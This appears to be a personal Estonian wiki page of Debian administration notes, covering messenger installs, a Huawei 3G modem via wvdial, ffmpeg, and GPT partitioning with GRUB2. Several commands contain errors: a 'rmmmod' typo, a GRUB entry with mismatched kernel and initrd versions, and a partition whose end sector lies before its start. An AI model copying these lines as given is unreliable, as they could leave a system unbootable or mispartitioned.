&lt;br /&gt;
ning avaneb järgnev pilt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Debian-live-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus tuleb valida, millist Live keskkonda ettevalmistama asutakse.&lt;br /&gt;
&lt;br /&gt;
===Slack kasutamine===&lt;br /&gt;
&lt;br /&gt;
Slack https://slack.com/ paigaldamiseks sobib kopeerida .deb fail ning öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install failinimi.deb&lt;br /&gt;
&lt;br /&gt;
Paistab, et tarkvara paigaldamise käigus tekitatakse fail&lt;br /&gt;
&lt;br /&gt;
 # cat /mnt/kontdeb9/etc/apt/sources.list.d/slack.list &lt;br /&gt;
 deb https://packagecloud.io/slacktechnologies/slack/debian/ jessie main&lt;br /&gt;
&lt;br /&gt;
===Signal kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara kopeerimiseks https://signal.org/download/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/apt/sources.list.d/signal-xenial.list &lt;br /&gt;
deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main&lt;br /&gt;
&lt;br /&gt;
# curl -s https://updates.signal.org/desktop/apt/keys.asc | sudo apt-key add -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get update&lt;br /&gt;
# apt-get install signal-desktop&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Skype kasutamine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://www.skype.com/ jagatakse Skype tarkvara mitmel erineval kujul&lt;br /&gt;
&lt;br /&gt;
* 32 bit&lt;br /&gt;
* 64 bit&lt;br /&gt;
* staatiliselt lingitud&lt;br /&gt;
&lt;br /&gt;
====2017 - Skype v. 5.0 kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus: 2017 kevadel on v. 5.0 beta, mis praktiliselt tähendab, et muidu töötab, aga chat histori otsingut pole.&lt;br /&gt;
&lt;br /&gt;
Lisada võti&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.skype.com/data/SKYPE-GPG-KEY | sudo apt-key add -&lt;br /&gt;
&lt;br /&gt;
lisada fail /etc/apt/sources.list.d/skypeforlinux.list&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/skypeforlinux.list&lt;br /&gt;
 deb [arch=amd64] https://repo.skype.com/deb stable main&lt;br /&gt;
&lt;br /&gt;
ja paigaldada&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get install skypeforlinux&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.ubuntuupdates.org/ppa/skypeforlinux&lt;br /&gt;
&lt;br /&gt;
====pre 2017 - Skype kasutamine 64 bit keskkonnas====&lt;br /&gt;
&lt;br /&gt;
Süsteemi etteavalmistamisel tuleb paigaldada paketid ia32-libs-gtk ja libqt4-dev&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ia32-libs-gtk libqt4-dev&lt;br /&gt;
&lt;br /&gt;
Seejärel skype 64 bit pakett, muus osas peaks töötama kuigi käivitamisel öeldakse&lt;br /&gt;
&lt;br /&gt;
 $ skype &lt;br /&gt;
 Gtk-Message: Failed to load module &amp;quot;canberra-gtk-module&amp;quot;: \&lt;br /&gt;
   /usr/lib/gtk-2.0/modules/libcanberra-gtk-module.so: wrong ELF class: ELFCLASS64&lt;br /&gt;
 (&amp;lt;unknown&amp;gt;:6901): Gtk-WARNING **: /usr/lib/gtk-2.0/2.10.0/engines/libglide.so: &lt;br /&gt;
   wrong ELF class: ELFCLASS64&lt;br /&gt;
&lt;br /&gt;
====Skype kasutamine Debian Wheezy multiarch keskkonnas====&lt;br /&gt;
&lt;br /&gt;
* kopeerida Skype lokaalsesse reposse - http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_paketihalduse_kasutamine#Privaatse_failis.C3.BCsteemi_repositooriumi_kasutamine&lt;br /&gt;
* lisada süsteemile i386 arhitektuur - http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine#Multiarch_kasutamine&lt;br /&gt;
* paigaldada skype&lt;br /&gt;
&lt;br /&gt;
 # apt-get install skype:i386&lt;br /&gt;
&lt;br /&gt;
====Skype v. 8.x kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kui järgmine v. 8.y versioon ei sobi, siis saab eelmise x. 8.x paigaldada nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # apt-get install skypeforlinux=8.11.0.4&lt;br /&gt;
&lt;br /&gt;
Nimekiri variantidest on näha aadressil https://repo.skype.com/deb/pool/main/s/skypeforlinux/&lt;br /&gt;
&lt;br /&gt;
====Skyperious====&lt;br /&gt;
&lt;br /&gt;
Head inimesed on programmeerinud Python keeles tarkvara Skyperious http://suurjaak.github.io/Skyperious/index.html, mille abil saab Skype andmebaaside sisu, st praktiliselt jutuajamist ajalugu, uurida ilma Skype programmi enda, võrguühenduse jms olemasoluta. Tundub, et programm kasutab asjaolu, et vastav andmebaas on praktiliselt SQLite andmebaas. Praktiliselt võib see olla abiks kui Skype versiooni uuendamisel ei õnnestu chat history sisu uude versiooni kaasa võtta, nt v. 4.2 -&amp;gt; 4.3 uuendamisel Linux all. Skyperiuos kasutajaliides paistab selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Skyperious-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamist kirjeldatakse aadressil https://github.com/suurjaak/Skyperious. Lühidalt tuleb Debian Jessie all öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wx2.8-i18n libwxgtk2.8-dev libgtk2.0-dev&lt;br /&gt;
 # apt-get install python-wxgtk2.8 python-wxtools&lt;br /&gt;
 # apt-get install python-pip&lt;br /&gt;
&lt;br /&gt;
Seejärel lähtetekst lahti pakkida ja öelda&lt;br /&gt;
&lt;br /&gt;
 # pip install --allow-all-external --allow-unverified -r requirements&lt;br /&gt;
&lt;br /&gt;
Kasutajana käivitamisel öeldakse alustuseks&lt;br /&gt;
&lt;br /&gt;
 $ skyperious.sh&lt;br /&gt;
 -su: skyperious.sh: /bin/sh^M: bad interpreter: No such file or directory&lt;br /&gt;
&lt;br /&gt;
millest saab üle nn dos reavahetuste eemaldamisega&lt;br /&gt;
&lt;br /&gt;
 # fromdos skyperious.sh&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Skype vestlusaknas saab teksti parandada nn Sed süntaksit kasutades&lt;br /&gt;
&lt;br /&gt;
  mart: priiti, ei ole võimalik&lt;br /&gt;
  &lt;br /&gt;
  ,-------------------------------,&lt;br /&gt;
  | s/priiti/Priit/               |&lt;br /&gt;
  |_______________________________|&lt;br /&gt;
&lt;br /&gt;
http://share.skype.com/sites/linux/2009/09/some_explanations.html&lt;br /&gt;
&lt;br /&gt;
===PulseAudio kasutamine===&lt;br /&gt;
&lt;br /&gt;
http://pulseaudio.org/&lt;br /&gt;
&lt;br /&gt;
===Huawei netipulga kasutamine===&lt;br /&gt;
&lt;br /&gt;
2010 aastal on populaarne kasutada mobiilse internetiühenduse teenust Huawei USB netipulga abil. Sellist tüüpi netipulgad on sisuliselt GSM modemid, mis ühendatakse arvutiga USB kaudu ning mille kasutamiseks peab seadmesse olema paigaldatud mobiilside operaatori kehtiv SIM-kaart (Subscriber Identity Module). Selline netipulk ei ole kuidagi seotud wifiga ning seda saab kasutada asudes mobiilside operaatori levialas. Netipulga kasutamiseks peab olema arvutisse paigaldatud PPP kliendi tarkvara, nt wvdial ja arvuti oskama kasutada USB-serial seadmeid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://wiki.debian.org/Modem/3G&lt;br /&gt;
&lt;br /&gt;
====Riistvara====&lt;br /&gt;
&lt;br /&gt;
Näiteks olgu kasutada Huawei E620 USB Modem seade ning teenusepakkuja EMT andmesideteenus.&lt;br /&gt;
&lt;br /&gt;
 # lsusb&lt;br /&gt;
 ...&lt;br /&gt;
 Bus 002 Device 003: ID 12d1:1001 Huawei Technologies Co., Ltd. E620 USB Modem&lt;br /&gt;
&lt;br /&gt;
====Tarkvara====&lt;br /&gt;
&lt;br /&gt;
Netipulga kasutamiseks piisab Debian Lenny paketihalduse tarkvarast, st vajalikest tuuma moodulitest ning wvdial programmist, mille paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wvdial&lt;br /&gt;
&lt;br /&gt;
====Seadistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb laadida maha usb-storage, option ja usbserial tuuma moodulid&lt;br /&gt;
&lt;br /&gt;
 # rmmmod usb-storage&lt;br /&gt;
 # rmmod option&lt;br /&gt;
 # rmmod usbserial&lt;br /&gt;
&lt;br /&gt;
ning laadida usbserial sobivate parameetritega, vastavalt käesolevale lsusb väljundile, nt&lt;br /&gt;
&lt;br /&gt;
 # modprobe usbserial vendor=0x12d1 product=0x1001&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kasutada USB-serial seadmed&lt;br /&gt;
&lt;br /&gt;
 # ls -l /dev/ttyUSB*&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 0 Apr 27 23:46 /dev/ttyUSB0&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 1 Apr 27 23:15 /dev/ttyUSB1&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 2 Apr 27 23:15 /dev/ttyUSB2&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 3 Apr 27 23:15 /dev/ttyUSB3&lt;br /&gt;
&lt;br /&gt;
wvdial tarkvara tööd juhib seadistusfail /etc/wvdial.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/wvdial.conf&lt;br /&gt;
 [Dialer Defaults]&lt;br /&gt;
 Phone = *99***1#&lt;br /&gt;
 Username = username&lt;br /&gt;
 Password = password&lt;br /&gt;
 Stupid Mode = 1&lt;br /&gt;
 Dial Command = ATDT&lt;br /&gt;
 &lt;br /&gt;
 [Dialer hsdpa]&lt;br /&gt;
 Modem = /dev/ttyUSB0&lt;br /&gt;
 Baud = 460800&lt;br /&gt;
 Init2 = ATZ&lt;br /&gt;
 Init3 = ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 ISDN = 0&lt;br /&gt;
 Modem Type = Analog Modem&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* Phone - väärtus sõltub teenusepakkujast&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda juurkasutajana&lt;br /&gt;
&lt;br /&gt;
 # wvdial hsdpa&lt;br /&gt;
 --&amp;gt; WvDial: Internet dialer version 1.60&lt;br /&gt;
 --&amp;gt; Cannot get information for serial port.&lt;br /&gt;
 --&amp;gt; Initializing modem.&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Modem initialized.&lt;br /&gt;
 --&amp;gt; Sending: ATDT*99***1#&lt;br /&gt;
 --&amp;gt; Waiting for carrier.&lt;br /&gt;
 ATDT*99***1#&lt;br /&gt;
 CONNECT&lt;br /&gt;
 --&amp;gt; Carrier detected.  Starting PPP immediately.&lt;br /&gt;
 --&amp;gt; Starting pppd at Tue Apr 27 23:41:55 2010&lt;br /&gt;
 --&amp;gt; Pid of pppd: 7879&lt;br /&gt;
 --&amp;gt; Using interface ppp0&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; local  IP address 192.168.3.91&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; remote IP address 10.64.64.64&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; primary   DNS address 192.168.32.116&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; secondary DNS address 192.168.32.115&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib süsteemi juurde PPP seade, nt&lt;br /&gt;
&lt;br /&gt;
 # ifconfig ppp0&lt;br /&gt;
 ppp0      Link encap:Point-to-Point Protocol  &lt;br /&gt;
           inet addr:192.168.3.91  P-t-P:10.64.64.64  Mask:255.255.255.255&lt;br /&gt;
           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
           RX packets:7 errors:3 dropped:0 overruns:0 frame:0&lt;br /&gt;
           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
           collisions:0 txqueuelen:3 &lt;br /&gt;
           RX bytes:118 (118.0 B)  TX bytes:157 (157.0 B)&lt;br /&gt;
&lt;br /&gt;
====Netipulga kasutamine====&lt;br /&gt;
&lt;br /&gt;
Peale PPP lingi tekkimist piisab liiklus ruutida üle selle lingi ning saab kasutada võrku, nt&lt;br /&gt;
&lt;br /&gt;
 # route add -net 172.23.0.0 netmask 255.255.0.0 gw 192.168.3.91&lt;br /&gt;
&lt;br /&gt;
Lisaks nö sihipärasele mobiilsele töökohale andmeside tekitamisele on võimalikud nt sellised kasutusalad&lt;br /&gt;
&lt;br /&gt;
* ühendada võrku arvuteid, mida muul viisil võib olla tülikas ühendada&lt;br /&gt;
* ühendada arvutile külge alternatiivne andmesidekanal (nt monitooringuarvutist teadete saatmiseks)&lt;br /&gt;
&lt;br /&gt;
Kasutamisel tuleb arvestada, et läbi lisandunud seadme on võimalik lisaks välja pöördumisele ka sisse pöörduda, seepärast tasub kaaluda seoses netipulgaga paketifiltri kasutamist.&lt;br /&gt;
&lt;br /&gt;
===ffmpeg kasutamine===&lt;br /&gt;
&lt;br /&gt;
ffmpeg tarkvara abil saab ekraanil toimuvat nö videona salvestada&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -f x11grab -s 720x480 -r 23.976 -i :0.0 /tmp/file.mpg&lt;br /&gt;
&lt;br /&gt;
QuickTime andmete teisendamine&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -i video-in.mov -vcodec mpeg4 video-out.avi&lt;br /&gt;
&lt;br /&gt;
QuickTime teisendamine Digital Video formaati&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -i fail.mov -s pal -r pal -aspect 4:3 -ar 48000 -ac 2 fail.dv&lt;br /&gt;
&lt;br /&gt;
Taasesitamine nö ressursisäästlikult&lt;br /&gt;
&lt;br /&gt;
 $ mplayer -vo xv -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=1 video-out.avi&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://viki.pingviin.org/MPlayer&lt;br /&gt;
* http://www.kinodv.org/&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Selleks, et vaikimisi ei seataks pakettidele DF (don't fragment), sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w net.ipv4.ip_no_pmtu_disc=1&lt;br /&gt;
&lt;br /&gt;
* arvuti viimaseid reboote näitab käsk&lt;br /&gt;
&lt;br /&gt;
 # last reboot -f /var/log/wtmp.1 &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Fri Aug  7 00:35 - 02:03 (38+01:27)  &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Wed Aug  5 00:14 - 00:35 (2+00:20)   &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Tue Aug  4 22:57 - 23:51  (00:53)    &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Tue Aug  4 22:56 - 22:57  (00:01)&lt;br /&gt;
&lt;br /&gt;
kus esimese rea teine kellaaeg on käesolev aeg (ja liigub), sulgudes on praktiliselt arvuti käesolev uptime; teiste ridade sulgudes on vastavad uptime ajad&lt;br /&gt;
&lt;br /&gt;
* Failide-alamkataloogide-jms arv kataloogis&lt;br /&gt;
&lt;br /&gt;
 # for i in `ls -d /*` ; do echo -n &amp;quot;$i: &amp;quot;; find $i | wc -l; done&lt;br /&gt;
&lt;br /&gt;
===PCMCIA seadmete kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pcmciautils&lt;br /&gt;
&lt;br /&gt;
===ExpressCard seadmete kasutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina paistavad ExpressCard http://en.wikipedia.org/wiki/ExpressCard seadmed operatsioonisüsteemile USB seadmetena.&lt;br /&gt;
&lt;br /&gt;
===syslog-ng kasutamine logiserverina===&lt;br /&gt;
&lt;br /&gt;
syslog-ng http://www.balabit.com/network-security/syslog-ng/ sobib kasutada logiserveris ja tal on sellised omadused&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Debian Lenny sisaldab syslog-ng versioon 2.0, paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install syslog-ng&lt;br /&gt;
&lt;br /&gt;
Tarkvara tööd juhib seadistusfail /etc/syslog-ng/syslog-ng.conf&lt;br /&gt;
&lt;br /&gt;
===Failisüsteem===&lt;br /&gt;
&lt;br /&gt;
Debiani failisüsteemiga on seotud operatsioonisüsteemi seisukohalt sellised üldised asjaolud&lt;br /&gt;
&lt;br /&gt;
* /proc ja /sys kataloogid on nö vaated töötavale linuxi tuumale&lt;br /&gt;
&lt;br /&gt;
====Named ja unnamed pipe====&lt;br /&gt;
&lt;br /&gt;
Pipe on FIFO ja selle instrumendi abil saavad programmid omavahel andmeid vahetada, nt named pipe puhul sobib ühes aknas öelda&lt;br /&gt;
&lt;br /&gt;
 $ mkfifo /tmp/fifonimi&lt;br /&gt;
 $ cat &amp;lt; /tmp/fifonimi&lt;br /&gt;
&lt;br /&gt;
ja teises aknas öelda&lt;br /&gt;
&lt;br /&gt;
 $ cal &amp;gt; /tmp/fifonimi&lt;br /&gt;
&lt;br /&gt;
siis tulemusena esitatakse esimeses aknas cal käsu väljund.&lt;br /&gt;
&lt;br /&gt;
Osutub, et pipe ei ole alati vajalik moodustada mkfifo käsu abil, sobib ka nii, sellisel juhul on tegu anonüümse pipe'iga&lt;br /&gt;
&lt;br /&gt;
 $ cal | cat&lt;br /&gt;
&lt;br /&gt;
===Pidgin===&lt;br /&gt;
&lt;br /&gt;
Pidgin (nö vana nimega Gaim) http://www.pidgin.im/ on mitmeid protokolle toetav instant messaging tarkvara. Kuna Debiani paketihalduse Pidgin tõrgub vahel, siis üks otsekohene alternatiiv on kasutada lähtetekstist kompileeritud Pidgini&lt;br /&gt;
&lt;br /&gt;
 # apt-get build-dep pidgin&lt;br /&gt;
 $ ./configure --prefix=/opt/pidgin --disable-vv --disable-idn&lt;br /&gt;
 $ make&lt;br /&gt;
 $ make install&lt;br /&gt;
&lt;br /&gt;
Pidgin v. 2.10.0, tundub, et kui kasutada süsteemis mozilla.debian.net tarkvara, siis ebaõnnestub sõltuvuste tõttu&lt;br /&gt;
&lt;br /&gt;
 # apt-get build-dep pidgin&lt;br /&gt;
&lt;br /&gt;
Sellisel juhul tuleb käsitsi paigaldada&lt;br /&gt;
&lt;br /&gt;
 # apt-get install intltool libglib2.0-dev libgtk2.0-dev&lt;br /&gt;
&lt;br /&gt;
 $ ./configure --prefix=/opt/pidgin --disable-vv --disable-idn --disable-nm --disable-screensaver \&lt;br /&gt;
   --disable-gtkspell --disable-gstreamer --disable-meanwhile --disable-avahi --disable-dbus --disable-tk&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===lm-sensors===&lt;br /&gt;
&lt;br /&gt;
lm-sensors http://www.lm-sensors.org/ tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install lm-sensors&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb teha kindlaks olemasolev riistvara ning laadida vastavad moodulid&lt;br /&gt;
&lt;br /&gt;
 # sensors-detect&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks öelda nt&lt;br /&gt;
&lt;br /&gt;
 # sensors -A | grep  Core&lt;br /&gt;
 Core 0:      +47.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 1:      +51.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 2:      +41.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 3:      +41.0 C  (high = +76.0 C, crit = +100.0 C)&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* Core N - protsessori tuuma temperatuur&lt;br /&gt;
&lt;br /&gt;
===GPT kasutamine===&lt;br /&gt;
&lt;br /&gt;
GPT (GUID Partition Table) http://en.wikipedia.org/wiki/GUID_Partition_Table on seotud järgmiste probleemide lahendamisega&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemis soovitakse kasutada suuremat partitsiooni kui 2TB&lt;br /&gt;
* arvuti riistvara ei kasuta nn PC-BIOS'i vaid nt UEFI't (Unified Extensible Firmware Interface)&lt;br /&gt;
* kasutatakse 4096 B plokisuurusega kõvaketast&lt;br /&gt;
* saab kasutada kuni 128 nn primary partitsiooni&lt;br /&gt;
&lt;br /&gt;
====GPT partitsioonide haldamine====&lt;br /&gt;
&lt;br /&gt;
GPT partitsioonide haldamiseks sobib 2010 aasta suvel kasutada nt programme parted ja gdisk, esmalt tuleb moodustada plokkseadmele label öeldes&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sdc&lt;br /&gt;
 (parted) mklabel gpt&lt;br /&gt;
 Warning: The existing disk label on /dev/sdc will be destroyed and all data on this disk will be lost. Do you want to continue?&lt;br /&gt;
 Yes/No? Yes&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kui kasutada fdisk programmi GPT partitsioonitabelit kasutava plokkseadmega, siis paistab tulemus selline&lt;br /&gt;
&lt;br /&gt;
 # fdisk -uc /dev/sda -l&lt;br /&gt;
 WARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted.&lt;br /&gt;
 ... &lt;br /&gt;
    Device Boot      Start         End      Blocks   Id  System&lt;br /&gt;
 /dev/sda1               1    10485759     5242879+  ee  GPT&lt;br /&gt;
&lt;br /&gt;
====GRUB2 alglaaduri kasutamine GPT ja PC-BIOS riistvaraga====&lt;br /&gt;
&lt;br /&gt;
Kui UEFI riistavara töötab GRUB2 alglaaduri ja GPT partitsioneeritud kõvakettaga nö otseselt, siis PC-BIOS arvuti puhul tuleb kasutada seejuures mõnda täiendavat võtet. Üldiselt toimub PC-BIOS riistvaral töötava süsteemi alglaadimine selliselt&lt;br /&gt;
&lt;br /&gt;
* kõvakettale on moodustatud kolm GPT partitsiooni&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 &lt;br /&gt;
 Number  Start     End          Size         File system  Name      Flags&lt;br /&gt;
  1      2048s     4095s        2048s                     biosboot  bios_grub&lt;br /&gt;
  2      4096s     1052671s     1048576s                  boot&lt;br /&gt;
  3      1052672s  3905974271s  3904921600s               system&lt;br /&gt;
&lt;br /&gt;
* alglaadimisel loetakse üks alglaaduri aste esimeselt partitsioonilt&lt;br /&gt;
* järgmised astmed ning operatsioonisüsteemi tuum ja initramfs loetakse boot partitsioonilt&lt;br /&gt;
* operatsioonisüsteemi juurfailisüsteem asub kolmandal partitsioonil või sellel paiknevalt loogiliselt seadmelt, nt LVM köitelt&lt;br /&gt;
&lt;br /&gt;
=====GPT partitsioonide moodustamine=====&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s&lt;br /&gt;
 (parted) mkpart biosboot 2048 4095&lt;br /&gt;
 (parted) set 1 bios_grub on                                               &lt;br /&gt;
 (parted) mkpart boot 4096 1052671                                         &lt;br /&gt;
 (parted) mkpart system 1052672 3907026943&lt;br /&gt;
 (parted) set 3 lvm on&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb jälgida, et partitsioonide suurused saavad sobivad, kaks esimest võiksid olla suhtliselt universaalselt sobivad&lt;br /&gt;
&lt;br /&gt;
=====Failisüsteemide ettevalmistamine=====&lt;br /&gt;
&lt;br /&gt;
GPT pealt töötava süsteemi saab ettevalmistada nt ühendades vastav plokkseade külge mõnele olemasolevale töötavale süsteemile. Seejärel moodustada seadmele GPT partitsioonitabel, failisüsteemid ning kopeerida sinna töötav süsteem üle, nt rsync abil.&lt;br /&gt;
&lt;br /&gt;
=====GRUB2 seadistamine ja paigaldamine=====&lt;br /&gt;
&lt;br /&gt;
GRUB2 seadistamiseks sobib kasutada nt sellist /etc/grub.d/40_custom faili&lt;br /&gt;
&lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 exec tail -n +3 $0&lt;br /&gt;
 # This file provides an easy way to add custom menu entries.  Simply type the&lt;br /&gt;
 # menu entries you want to add after this comment.  Be careful not to change&lt;br /&gt;
 # the 'exec tail' line above.&lt;br /&gt;
 &lt;br /&gt;
 echo &amp;quot;Debian GPT&amp;quot; &amp;gt;&amp;amp;2&lt;br /&gt;
 menuentry &amp;quot;Debian GPT&amp;quot; {&lt;br /&gt;
 insmod part_gpt&lt;br /&gt;
 insmod ext2&lt;br /&gt;
 set root=(hd0,gpt2)&lt;br /&gt;
 linux /vmlinuz-2.6.32-2-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 initrd /initrd.img-2.6.26-2-amd64&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* insmod part_gpt - grub2 laadib omale GTP partitsioonitabeli tundmise tarkuse&lt;br /&gt;
* (hd0,gpt2) - näitab millisel GPT partitsioonil asub /boot failisüsteem&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et failisüsteemid on monteeritud öelda&lt;br /&gt;
&lt;br /&gt;
 # grub-install --recheck --no-floppy --root-directory=/mnt/root /dev/sda&lt;br /&gt;
 Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
Tulemusena peaks arvuti käivituma.&lt;br /&gt;
&lt;br /&gt;
====4096 B plokisuurusega kõvaketaste kasutamine====&lt;br /&gt;
&lt;br /&gt;
2010 aasta suvel on 4k plokisuurusega kõvaketaste kasutamine pisut ebaselge, tundub, et üldiselt peaks utiliidid sellega automaatselt hiljem või varem hakkama saama. Hetkel näib ohutu nö käsitsi arvestada, et partitsiooni algus satuksid arvudega 8 ja 512 jaguvatele kohtadele, nt kasutades GPT partitsioonitabelit selliselt&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s                                                           &lt;br /&gt;
 (parted) mkpart system 2048 327679999&lt;br /&gt;
 (parted) mkpart pgdata 327680000 164863999&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* unit s - edasi esitatakse partitsiooni algus ja lõpp sektori numbrina&lt;br /&gt;
* system - partitsiooni nimi kasutajale tähendust omaval kujul&lt;br /&gt;
* 2048 - partitsiooni algussektor&lt;br /&gt;
* 327679999 - partitsiooni lõpp sektor, arvestusega, et 327679999 + 1 jagub arvudega 8 ja 512&lt;br /&gt;
&lt;br /&gt;
Paritsioonitüüpide näitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 (parted) set 1 lvm on&lt;br /&gt;
 (parted) set 2 lvm on&lt;br /&gt;
&lt;br /&gt;
Tulemuseks on&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 Model: ATA WDC WD2003FYYS-0 (scsi)&lt;br /&gt;
 Disk /dev/sdc: 3907029168s&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 &lt;br /&gt;
 Number  Start       End         Size        File system  Name  Flags&lt;br /&gt;
  1      2048s       327679999s  327677952s               system   lvm&lt;br /&gt;
  2      327680000s  328703999s  1024000s                 pgdata   lvm&lt;br /&gt;
&lt;br /&gt;
Kui selliselt ettevalmistatud plokkseadmel kasutada failisüsteemi või nt mdadm, lvm või cryptsetup lahendusi, siis väidetavalt neile sobib 4k plokisuuris hästi.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.ibm.com/developerworks/linux/library/l-4kb-sector-disks/&lt;br /&gt;
* http://www.johannes-bauer.com/linux/wdc/?menuid=3&lt;br /&gt;
* http://grub.enbug.org/BIOS_Boot_Partition&lt;br /&gt;
* http://wiki.archlinux.org/index.php/User:Skodabenz/GPT&lt;br /&gt;
